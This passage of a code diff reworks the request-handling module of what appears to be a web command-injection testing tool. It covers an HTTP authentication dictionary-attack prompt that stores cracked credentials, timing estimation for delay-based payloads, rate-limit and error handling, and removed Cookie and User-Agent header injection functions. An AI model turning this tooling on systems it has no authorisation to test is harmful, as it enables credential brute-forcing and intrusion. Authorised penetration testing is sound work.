common.read_input(message, default="Y", check_batch=True) if do_update in settings.CHOICE_YES: - auth_creds = authentication.http_auth_cracker(url, realm) - if auth_creds != False: + auth_creds = authentication.http_auth_cracker(url, realm, http_request_method) + if auth_creds is not False: + # Put to use, not only announced: what builds the Authorization header for + # every request after this is the option, so a pair found and left there + # would have the run carry on unauthenticated against a target that just + # said it needs credentials. menu.options.auth_cred = auth_creds settings.REQUIRED_AUTHENTICATION = True break @@ -146,31 +405,29 @@ def estimate_response_time(url, timesec): elif do_update in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + do_update + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(do_update) pass - # Digest authentication - elif menu.options.auth_type == "digest": - if not menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: - warn_msg = menu.options.auth_type.capitalize() + " " - warn_msg += "HTTP authentication credentials are required." - print(settings.print_warning_msg(warn_msg)) - # Check if heuristics have failed to identify the realm attribute. + # Digest authentication + elif menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST: + if not int(settings.UNAUTHORIZED_ERROR) in settings.IGNORE_CODE: + warn_msg = "This target requires " + menu.options.auth_type.lower() + " " + warn_msg += "HTTP authentication credentials." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + # Check if failed to identify the realm attribute. if not realm: - warn_msg = "Heuristics have failed to identify the realm attribute." - print(settings.print_warning_msg(warn_msg)) + warn_msg = "Failed to identify the realm attribute." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) while True: - if not menu.options.batch: - question_msg = "Do you want to perform a dictionary-based attack? [Y/n] > " - do_update = _input(settings.print_question_msg(question_msg)) - else: - do_update = "" - if len(do_update) == 0: - do_update = "Y" + message = "Do you want to perform a dictionary-based attack? [Y/n] " + do_update = common.read_input(message, default="Y", check_batch=True) if do_update in settings.CHOICE_YES: - auth_creds = authentication.http_auth_cracker(url, realm) - if auth_creds != False: + auth_creds = authentication.http_auth_cracker(url, realm, http_request_method) + if auth_creds is not False: + # Put to use, not only announced: what builds the Authorization header for + # every request after this is the option, so a pair found and left there + # would have the run carry on unauthenticated against a target that just + # said it needs credentials. menu.options.auth_cred = auth_creds settings.REQUIRED_AUTHENTICATION = True break @@ -181,1069 +438,958 @@ def estimate_response_time(url, timesec): elif do_update in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + do_update + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(do_update) pass - else: - checks.http_auth_err_msg() else: raise SystemExit() - + ignore_end = time.time() start = start - (ignore_start - ignore_end) - except socket.timeout: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - err_msg = "The connection to target URL has timed out." - print(settings.print_critical_msg(err_msg) + "\n") - raise SystemExit() - - except _urllib.error.URLError as err_msg: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(str(err_msg.args[0]).split("] ")[1] + ".")) - raise SystemExit() except ValueError as err_msg: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(str(err_msg) + ".")) - raise SystemExit() - - end = time.time() - diff = end - start - - if int(diff) < 1: - if settings.VERBOSITY_LEVEL != 0 and stored_auth_creds == False: - print(settings.SINGLE_WHITESPACE) - url_time_response = int(diff) - if settings.TARGET_OS == "win": - warn_msg = "Due to the relatively slow response of 'cmd.exe' in target " - warn_msg += "host, there may be delays during the data extraction procedure." - print(settings.print_warning_msg(warn_msg)) - else: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - url_time_response = int(round(diff)) - warn_msg = "The estimated response time is " + str(url_time_response) - warn_msg += " second" + "s"[url_time_response == 1:] + ". That may cause" - if url_time_response >= 3: - warn_msg += " serious" - warn_msg += " delays during the data extraction procedure" - if url_time_response >= 3: - warn_msg += " and/or possible corruptions over the extracted data" - warn_msg += "." - print(settings.print_bold_warning_msg(warn_msg)) - - if int(timesec) == int(url_time_response): - timesec = int(timesec) + int(url_time_response) - else: - timesec = int(timesec) + settings.print_data_to_stdout(settings.print_critical_msg(str(err_msg) + ".")) + raise SystemExit(settings.EXIT_FAILURE) - # Against windows targets (for more stability), add one extra second delay. - if settings.TARGET_OS == "win" : - timesec = timesec + 1 + except Exception as err_msg: + request_failed(err_msg) - return timesec, url_time_response + end = time.time() + diff = end - start + return diff """ -Get the response of the request +Estimating the response time (in seconds) - median of several samples, since one alone is too noisy to trust for the slow-target decision. """ -def get_request_response(request): +def estimate_response_time(url, timesec, http_request_method): + samples = [] - headers.check_http_traffic(request) - # Check if defined any HTTP Proxy. - if menu.options.proxy: - try: - response = proxy.use_proxy(request) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - if "Connection refused" in err_msg.reason: - err_msg = "The target host is not responding. " - err_msg += "Please ensure that is up and try again." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + if settings.INIT_CONNECTION_TIME is not None: + samples.append(settings.INIT_CONNECTION_TIME) + settings.INIT_CONNECTION_TIME = None + else: + samples.append(_measure_response_time_with_auth_handling(url, http_request_method)) - # Check if defined Tor. - elif menu.options.tor: - try: - response = tor.use_tor(request) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + for _ in range(settings.RESPONSE_TIME_SAMPLES - len(samples)): + extra = quick_response_time_sample(url, http_request_method) + if extra is not None: + samples.append(extra) - else: - try: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - if not str(err_msg.code) == str(menu.options.ignore_code): - err = str(err_msg) + "." - if settings.VERBOSITY_LEVEL < 2: - print("\r" + settings.print_critical_msg(err) + 30 * " ") - - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - return response + diff = statistics.median(samples) + return _finish_response_time_estimate(diff, timesec) """ -Check if target host is vulnerable. (Cookie-based injection) +Convert the measured round-trip time into the slow-target warning and adjusted timesec. """ -def cookie_injection(url, vuln_parameter, payload): +def _finish_response_time_estimate(diff, timesec): + """ + Measured and kept, but not announced. + + How long the target takes is not on its own something to say anything about: a target that always + takes the same three seconds answers a delay as plainly as a fast one, and saying its data might + come back corrupted was telling it something about itself that was not true. What does make a + delay hard to read is the answers moving about, and that is asked about where it matters, off how + far they spread rather than off how slow they are. + """ + url_time_response = int(diff) if int(diff) < 1 else int(round(diff)) + + # The payloads count the delay in whole seconds, so a fractional one cannot be used as given - + # rounded rather than dropped, and said out loud instead of quietly becoming a shorter delay. + if timesec != int(timesec): + rounded = int(round(timesec)) or 1 + warn_msg = "The delay given with '--time-sec' (i.e. '" + str(timesec) + "') is counted in whole " + warn_msg += "seconds by the payloads, so '" + str(rounded) + "' is used instead." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + timesec = rounded + else: + timesec = int(timesec) - def inject_cookie(url, vuln_parameter, payload, proxy): - if proxy == None: - opener = _urllib.request.build_opener() - else: - opener = _urllib.request.build_opener(proxy) + settings.URL_TIME_RESPONSE = url_time_response + return timesec, url_time_response - if settings.TIME_RELATIVE_ATTACK : - payload = _urllib.parse.quote(payload) +""" +Seconds to wait, read from a 'Retry-After' header given either as a number of them or as a date. +None where the target sent no such header, or sent one that cannot be read. +""" +def retry_after_seconds(err): + try: + value = (err.headers.get("Retry-After") or "").strip() + except Exception: + return None + if not value: + return None + if value.isdigit(): + return float(value) + try: + parsed = email.utils.parsedate(value) + return max(0.0, calendar.timegm(parsed) - time.time()) if parsed else None + except Exception: + return None - # Check if defined POST data - if menu.options.data: - menu.options.data = settings.USER_DEFINED_POST_DATA - request = _urllib.request.Request(url, menu.options.data.encode(settings.UNICODE_ENCODING)) +""" +What a status says about the target rather than about the request. Returns what request_failed() +should answer, or None where the status is nothing more than the interference it warns about. +""" +def _answered_with_status(code, err): + code = str(code) + + # The first answer being '404' is a wrong URL far more often than a target worth testing. + if code == settings.NOT_FOUND_ERROR and settings.INIT_TEST is True: + return checks.page_not_found(err) + + # The payload is in the request line and the target will not take one that long. Where it can be + # moved into a body instead, that is the way past it - shortening what is sent is the other. + if code == settings.REQUEST_URI_TOO_LONG and int(code) not in settings.WARNED_HTTP_ERROR_CODES: + settings.WARNED_HTTP_ERROR_CODES.add(int(code)) + warn_msg = "The target answered '" + checks.http_error_code_label(code, err) + "', so the " + warn_msg += "request line is longer than it accepts. " + if not settings.USER_DEFINED_POST_DATA: + warn_msg += "Try sending the parameters in the body ('--data'), or a tamper script that " + warn_msg += "shortens the payload ('--tamper')." else: - url = parameters.get_url_part(url) - request = _urllib.request.Request(url) - #Check if defined extra headers. - headers.do_check(request) - payload = checks.newline_fixation(payload) - request.add_header('Cookie', menu.options.cookie.replace(settings.INJECT_TAG, payload.replace("+", "%2B"))) - try: - headers.check_http_traffic(request) - response = opener.open(request) - return response - except ValueError: - pass + warn_msg += "Try a tamper script that shortens the payload ('--tamper')." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return None + + # A body the target will not read is worth sending again the way it will. + if menu.options.chunked and not settings.CHUNKED_UNSUPPORTED and \ + code in (settings.NOT_ALLOWED, settings.LENGTH_REQUIRED): + settings.CHUNKED_UNSUPPORTED = True + menu.options.chunked = False + warn_msg = "Turning off HTTP chunked transfer encoding, as the target answered '" + warn_msg += checks.http_error_code_label(code, err) + "' to a chunked body." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return True + + return None - if settings.TIME_RELATIVE_ATTACK : - start = 0 - end = 0 - start = time.time() +""" +Exceptions regarding requests failure(s) +""" +def request_failed(err_msg): + + # Asked for with '--ignore-timeouts': the request is given up on and the run carries on without + # it, so a target that answers late neither reads as unreachable nor spends the error budget. + if menu.options.ignore_timeouts and re.search(r"timed?\s*out", str(err_msg), re.IGNORECASE): + settings.IGNORED_TIMEOUTS += 1 + if settings.IGNORED_TIMEOUTS == 1 or settings.VERBOSITY_LEVEL != 0: + warn_msg = "The target did not answer in time, so the request is skipped ('--ignore-timeouts')" + warn_msg += " - " + str(settings.IGNORED_TIMEOUTS) + " so far." if settings.IGNORED_TIMEOUTS > 1 else "." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return False + + stability.mark_url_invalid() + + # Pacing is answered on its own: being told to slow down holds whether or not a WAF is looked for. + # A plain '403'-style block is what the WAF-evasion tiers above already answer, on their own + # schedule - counting it here too would race the two against each other over the same signal. + # Only a '429', or a '503' that names its own wait, is the target actually asking to be paced. + code = str(getattr(err_msg, "code", None)) + requested = retry_after_seconds(err_msg) + if code == settings.TOO_MANY_REQUESTS or (code == settings.SERVICE_UNAVAILABLE and requested is not None): + stability.adapt_delay(blocked=True) + # Where the target said how long to wait, that beats guessing at it - waited out once here, + # while the delay between requests is what keeps the pace afterwards. + if requested is not None and not settings.TIME_RELATED_ATTACK: + waited = min(requested, settings.RATE_LIMIT_MAX_DELAY) + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Waiting the " + str(round(waited, 1)) + " second" + debug_msg += "s"[waited == 1:] + " the target asked for ('Retry-After')." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + time.sleep(waited) - proxy = None - #response = inject_cookie(url, vuln_parameter, payload, proxy) + if not settings.FOLLOW_REDIRECT and getattr(err_msg, "code", None) in (301, 302, 303, 307): + stability.mark_url_valid() + return False - # Check if defined any HTTP Proxy. - if menu.options.proxy: + try: + error_msg = str(err_msg.args[0]).split("] ")[1] + except IndexError: try: - proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy}) - response = inject_cookie(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err_msg = str(err_msg) + "." - print("\n" + settings.print_critical_msg(err_msg)) - continue_tests = checks.continue_tests(err) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + error_msg = str(err_msg.args[0]) + except IndexError: + error_msg = str(err_msg) + + if any(x in str(error_msg).lower() for x in ["wrong version number", "ssl", "https"]): + stability.disable_retries() + error_msg = "Cannot establish SSL connection. " + if settings.MULTI_TARGETS or settings.CRAWLING: + error_msg = error_msg + "Skipping to the next target." + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) + if not settings.CRAWLING: + raise SystemExit(settings.EXIT_FAILURE) + else: + return False - # Check if defined Tor. - elif menu.options.tor: - try: - proxy = _urllib.request.ProxyHandler({settings.SCHEME:settings.PRIVOXY_IP + ":" + settings.PRIVOXY_PORT}) - response = inject_cookie(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) + elif re.search(r"(connection\s*refused|timed?\s*out|no\s*route|unreachable|tunnel)", str(error_msg), re.IGNORECASE): + stability.disable_retries() + if any((settings.BIND_TCP, settings.REVERSE_TCP)) and re.search(r"timed?\s*out", str(error_msg), re.IGNORECASE): raise SystemExit() + if settings.OOB_IGNORE_TIMEOUT and re.search(r"timed?\s*out", str(error_msg), re.IGNORECASE): + # Nothing is read from the response here, and some clients on the target take tens of + # seconds to return, so waiting in vain is expected rather than fatal. + if settings.VERBOSITY_LEVEL >= 2: + debug_msg = "The target did not answer in time, which an out-of-band payload does not need." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + return False + err = "Unable to connect to the target URL" + if menu.options.tor: + err += " using the Tor network" + elif menu.options.proxy: + err += " using the defined HTTP proxy" + err = err + " (Reason: " + str(error_msg) + "). " + if menu.options.tor: + err += "Please make sure that the Tor service is running and " + err += "that Privoxy is properly configured to forward traffic to Tor. " + err += "This is required in order to use the '--tor' switch." + if settings.MULTI_TARGETS or settings.CRAWLING: + err = err + "Skipping to the next target." + error_msg = err + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) + if not settings.CRAWLING: + raise SystemExit(settings.EXIT_FAILURE) + else: + return False - else: - try: - response = inject_cookie(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True + elif settings.UNAUTHORIZED_ERROR in str(err_msg).lower(): + if int(settings.UNAUTHORIZED_ERROR) in settings.IGNORE_CODE or \ + settings.PERFORM_CRACKING: + return False + else: + err_msg = "Not authorized (" + settings.UNAUTHORIZED_ERROR + "). " + err_msg += "Try to provide right HTTP authentication type ('--auth-type') and valid credentials ('--auth-cred')" + if menu.options.auth_type and menu.options.auth_cred: + if settings.MULTI_TARGETS or settings.CRAWLING: + err_msg += ". " else: - raise SystemExit() - response = False - - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + err_msg += " or re-run without providing them, in order to perform a dictionary-based attack. " + else: + err_msg += " or re-run by providing option '--ignore-code=" + settings.UNAUTHORIZED_ERROR +"'. " + if settings.CRAWLING: + err_msg += "Skipping to the next target." + # Said once: every request that follows is answered the same way, and repeating it buries + # whatever else the run has to report. + if int(settings.UNAUTHORIZED_ERROR) not in settings.WARNED_HTTP_ERROR_CODES: + settings.WARNED_HTTP_ERROR_CODES.add(int(settings.UNAUTHORIZED_ERROR)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + if not settings.CRAWLING: + if menu.options.auth_type and menu.options.auth_cred: + raise SystemExit(settings.EXIT_FAILURE) + + # What a status says about the target is true of whichever request it answered, so it is read + # here rather than inside the branch below - which is the first request's own diagnostics, and + # had these two inside it. Behind that gate a '414' went unexplained, a chunked body the target + # would not take was never sent again without it, and every other error code passed in silence, + # on every request but the one the run opens with. + elif checks.detect_waf(err_msg): + if not settings.NOT_FOUND_ERROR in str(err_msg).lower(): + return False + return True + + elif [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)]: + status_code = [err_code for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)] + code = status_code[0] + if not checks.ignored_http_error_code(code): + # What the code says about the target, before it is written off as interference. + handled = _answered_with_status(code, err_msg) + if handled is not None: + return handled + # Not where the request went looking for the code it got: the read that checks whether the + # output file is still served answers "deleted" with a '404', and calling that interference + # warned the operator about the one thing that had gone right. + if (not checks.ignored_http_error_code(code) and not settings.in_side_request("file_check") + and int(code) not in settings.WARNED_HTTP_ERROR_CODES): + warn_msg = "The web server responded with an HTTP error code '" + checks.http_error_code_label(code, err_msg) + warn_msg += "' which could interfere with the results of the tests." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.WARNED_HTTP_ERROR_CODES.add(int(code)) + if not settings.NOT_FOUND_ERROR in str(err_msg).lower(): + return False + return True + + elif settings.TOTAL_OF_REQUESTS == 1: + if "IncompleteRead" in str(error_msg): + error_msg = "There was an incomplete read error while retrieving data " + error_msg += "from the target URL." + elif "infinite loop" in str(error_msg): + error_msg = "Infinite redirect loop detected. " + error_msg += "Please check all provided parameters and/or provide missing ones." + elif "BadStatusLine" in str(error_msg): + error_msg = "Connection dropped or unknown HTTP " + error_msg += "status code received." + elif "forcibly closed" in str(error_msg) or "Connection is already closed" in str(error_msg): + error_msg = "Connection was forcibly closed by the target URL." + elif stability.should_retry_connection_error(error_msg): + return True + else: + error_msg = "The provided target URL does not seem reachable. " + items = [] + if not menu.options.random_agent and not settings.BROWSER_LIKE_HEADERS: + items.append("'--random-agent' switch") + if not any((menu.options.proxy, menu.options.ignore_proxy, menu.options.tor)): + items.append("proxy switches ('--proxy', '--ignore-proxy'...).") + if items: + error_msg += "It might still be reachable. Try re-running with " + error_msg += " and/or ".join(items) + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) + if not settings.CRAWLING: + raise SystemExit(settings.EXIT_FAILURE) + else: + return False + + elif settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_EVAL_PROBE or settings.IDENTIFIED_COMMAND_INJECTION or \ + any(checks.ignored_http_error_code(_) for _ in settings.HTTP_ERROR_CODES if _ in str(error_msg)): + return False + + elif settings.IGNORE_ERR_MSG is False: + continue_tests = checks.continue_tests(err_msg) + if continue_tests: + settings.IGNORE_ERR_MSG = True + else: + if not settings.CRAWLING: + raise SystemExit() + return False - if settings.TIME_RELATIVE_ATTACK : - end = time.time() - how_long = int(end - start) - return how_long else: - return response + if settings.VERBOSITY_LEVEL >= 1: + status_code = [err_code for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)] + if status_code: + # The warning above already named the code; repeating it for every request that meets it does not. + if int(status_code[0]) not in settings.WARNED_HTTP_ERROR_CODES: + debug_msg = "Got " + str(err_msg) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + else: + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + return False """ -Check if target host is vulnerable. (User-Agent-based injection) +Get the response of the request """ -def user_agent_injection(url, vuln_parameter, payload): +class ReReadableResponse(object): + """ + A response whose body has already been read, handed on as though it had not been. - def inject_user_agent(url, vuln_parameter, payload, proxy): - if proxy == None: - opener = _urllib.request.build_opener() - else: - opener = _urllib.request.build_opener(proxy) + Everything else about it is the response itself: the status, the headers and the URL are asked + of the original, and only the reading is answered from what was kept. + """ + def __init__(self, response, body): + self._response = response + self._body = io.BytesIO(body) - # Check if defined POST data - if menu.options.data: - menu.options.data = settings.USER_DEFINED_POST_DATA - request = _urllib.request.Request(url, menu.options.data.encode(settings.UNICODE_ENCODING)) - else: - url = parameters.get_url_part(url) - request = _urllib.request.Request(url) - #Check if defined extra headers. - headers.do_check(request) - payload = checks.newline_fixation(payload) - request.add_header('User-Agent', payload) - try: - headers.check_http_traffic(request) - response = opener.open(request) - return response - except ValueError: - pass + def read(self, *args, **kwargs): + return self._body.read(*args, **kwargs) - if settings.TIME_RELATIVE_ATTACK : - start = 0 - end = 0 - start = time.time() + def readlines(self, *args, **kwargs): + return self._body.readlines(*args, **kwargs) - proxy = None - #response = inject_user_agent(url, vuln_parameter, payload, proxy) - # Check if defined any HTTP Proxy. - if menu.options.proxy: + def close(self): try: - proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy}) - response = inject_user_agent(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + self._response.close() + except Exception: + pass - # Check if defined Tor. - elif menu.options.tor: - try: - proxy = _urllib.request.ProxyHandler({settings.SCHEME:settings.PRIVOXY_IP + ":" + settings.PRIVOXY_PORT}) - response = inject_user_agent(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + def __getattr__(self, name): + return getattr(self._response, name) - else: - try: - response = inject_user_agent(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() +""" +Send the request again while its answer is a page the run was told to retry on. - if settings.TIME_RELATIVE_ATTACK : - end = time.time() - how_long = int(end - start) - return how_long - else: - return response +What it is for is a target that answers something other than what it was asked - a rate limit, a +'try again later', an interstitial - where the response is a valid one and only its content says +that nothing was tested. +""" +def retry_on_undesired_content(request, response): + attempts = 0 + while True: + try: + body = response.read() + except Exception: + return response + """ + Matched against the answer as the target sent it, undecoded. + + Every other reader of a page wants it decoded, so that output the target wrote as entities is + still found - but this pattern is written against what the response looks like, and decoding + would let a page that merely mentions the pattern in escaped form match every time. A page + documenting its own '--retry-on' value would then be retried until the budget was gone, on the + answers that carried the result as much as on the ones that refused. + """ + content = checks.decode_page_body(body, response, percent_decode=False, entity_decode=False) + # Bounded by the retries the run was given, not by the budget the connection layer keeps + # raising as requests are spent: a page that always asks to be retried would otherwise be + # asked again for as long as the run lasts. + if not re.search(menu.options.retry_on, content, re.I) or attempts >= menu.options.retries: + # Nothing left to retry with, so this page is what everything downstream reads as the answer. + if attempts and not settings.RETRY_ON_EXHAUSTED and re.search(menu.options.retry_on, content, re.I): + settings.RETRY_ON_EXHAUSTED = True + warn_msg = "The target still answers with a page matching '" + menu.options.retry_on + "', after the retries were spent." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return ReReadableResponse(response, body) + attempts += 1 + warn_msg = "Forced retry of the request, because of undesired page content." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + retried = headers.check_http_traffic(request) + if retried is None: + try: + retried = headers.resend(request) + except Exception: + return ReReadableResponse(response, body) + if retried is None or isinstance(retried, bool): + return ReReadableResponse(response, body) + response = retried """ -Check if target host is vulnerable. (Referer-based injection) +The answer, retried while it says what '--retry-on' names - whichever path the request went out over. """ -def 